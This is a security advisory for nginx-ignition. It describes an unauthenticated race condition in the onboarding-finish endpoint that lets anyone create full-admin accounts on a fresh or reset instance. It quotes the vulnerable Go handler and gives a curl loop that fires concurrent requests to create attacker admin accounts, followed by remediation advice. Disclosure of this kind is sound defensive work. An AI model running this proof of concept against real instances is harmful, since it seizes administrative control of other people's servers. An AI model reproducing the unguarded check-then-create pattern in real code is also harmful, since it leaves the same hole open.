Details
## Summary
`POST /api/users/onboarding/finish` is registered as **anonymous (unauthenticated)** and creates a user with **full ReadWrite admin permissions**. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.
## Affected component
- Endpoint: `POST /api/users/onboarding/finish`
- Route registration: `api/user/routes.go:49` → `authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")`
- Handler: `api/user/onboarding_finish_handler.go`
## Technical details
The route is explicitly allowed without authentication:
```go
// api/user/routes.go:48-49
authorizer.AllowAnonymous(http.MethodGet, "/api/users/onboarding/status")
authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")
```
The handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:
```go
// api/user/onboarding_finish_handler.go
func (h onboardingFinishHandler) handle(ctx *gin.Context) {
alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context()) // (1) CHECK
if err != nil { panic(err) }
if alreadyFinished {
ctx.Status(http.StatusForbidden)
return
}
requestPayload := &userRequestDTO{}
if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }
domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)
domainModel.ID = uuid.New()
domainModel.Enabled = true
domainModel.Permissions = user.Permissions{ // full admin
Hosts: user.ReadWriteAccessLevel,
Streams: user.ReadWriteAccessLevel,
Certificates: user.ReadWriteAccessLevel,
Integrations: user.ReadWriteAccessLevel,
AccessLists: user.ReadWriteAccessLevel,
Settings: user.ReadWriteAccessLevel,
Users: user.ReadWriteAccessLevel,
NginxServer: user.ReadWriteAccessLevel,
Caches: user.ReadWriteAccessLevel,
// ...all remaining permissions ReadWrite/ReadOnly
}
if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil { // (2) ACT
panic(err)
}
// ...authenticates and returns a JWT for the new admin
}
```
The gap between **(1)** `OnboardingCompleted()` and **(2)** `Save()` is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the `alreadyFinished == false` check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.
## Preconditions (stated honestly)
This is exploitable when the instance is in a **pre-onboarding state**:
1. **Fresh deployment** — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in *alongside* the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin.
2. **State reset** — if onboarding state can return to "not completed" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.
The single-request path is a setup-window exposure; the **race** is what turns "first legitimate admin" into "attacker also gets admin," and what allows multiple admin accounts to be minted from one burst.
## Proof of concept
Against an instance that has not yet completed onboarding:
```bash
# Fire concurrent onboarding-finish requests; multiple admin accounts are created,
# each returning a valid admin JWT, despite the single-admin intent.
for i in $(seq 1 20); do
curl -s -X POST http://TARGET/api/users/onboarding/finish \
-H 'Content-Type: application/json' \
-d '{"username":"attacker'"$i"'","password":"P@ssw0rd123!"}' \
-o /dev/null -w "%{http_code}\n" &
done
wait
# Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.
```
Each `200` response body contains a `userLoginResponseDTO` with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.
## Impact
- **Unauthenticated administrative account takeover** of a fresh (or reset) instance.
- Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.)
- The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.
## Remediation
1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. "at most one onboarding user" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.
2. Re-check `OnboardingCompleted()` inside the same transaction that performs the insert, and abort on conflict.
3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.
---
*Finding ID: GM-4607*
EPSS — exploit probability
Low0.36%
estimated chance of real-world exploitation in the next 30 days — higher than 29.5% of every CVE FIRST.org scores
Refreshed 9/22/2026 — via FIRST.org's EPSS model, not CVSS — this measures likelihood of exploitation, not how severe it would be.